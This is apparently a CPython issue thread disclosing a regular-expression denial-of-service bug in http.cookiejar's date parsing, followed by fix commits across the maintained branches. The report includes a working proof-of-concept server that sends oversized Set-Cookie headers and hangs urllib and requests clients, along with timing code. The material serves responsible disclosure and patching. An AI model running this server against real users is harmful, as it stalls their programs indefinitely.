The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex can be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or (?![APap][Mm]\b)[A-Za-z]+ Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!") will cause catastrophic backtracking. Timing test: import http.cookiejar import timeit def run(n_spaces): assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536" spaces = " " * n_spaces expires = f"1-1-1{spaces}!" http2time = http.cookiejar.http2time t = timeit.Timer( 'http2time(expires)', globals=locals(), ) print(n_spaces, "{:.3g}".format(t.autorange()[1])) i = 512 while True: run(i) i <<= 1 Timeit output (seconds) on my computer when doubling the number of spaces: 512 0.383 1024 3.02 2048 23.4 4096 184 8192 1700 As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie header is 65506 which will take days. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-1-1{spaces}!" return f"x;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library is also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") As such, python applications need to be careful not to visit malicious servers. I have a patch. Will make a PR soon. This was originally submitted to the security list, but posted here 'since this is "merely" a DoS attack and not a privilege escalation'. - Ben

 New changeset 1b779bfb8593739b11cbb988ef82a883ec9d077e by Victor Stinner (bcaller) in branch 'master': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) https://github.com/python/cpython/commit/1b779bfb8593739b11cbb988ef82a883ec9d077e 

 New changeset a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 by Miss Islington (bot) in branch '3.8': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) https://github.com/python/cpython/commit/a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 

 New changeset cb6085138a845f8324adc011b65754acc2086cc0 by Miss Islington (bot) in branch '3.7': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) https://github.com/python/cpython/commit/cb6085138a845f8324adc011b65754acc2086cc0 

I'm now tracking this vulnerability at: https://python-security.readthedocs.io/vuln/cookiejar-redos.html

 New changeset 0716056c49e9505041e30386dad9b2e788f67aaf by Ned Deily (Miss Islington (bot)) in branch '3.6': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17343) https://github.com/python/cpython/commit/0716056c49e9505041e30386dad9b2e788f67aaf 

 New changeset e6499033032d5b647e43a3b49da0c1c64b151743 by Victor Stinner in branch '2.7': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345) https://github.com/python/cpython/commit/e6499033032d5b647e43a3b49da0c1c64b151743 

 New changeset 55a6a16a46239a71b635584e532feb8b17ae7fdf by Victor Stinner in branch '3.5': bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344) https://github.com/python/cpython/commit/55a6a16a46239a71b635584e532feb8b17ae7fdf 

The fix landed in all maintained versions, thanks. I close the issue.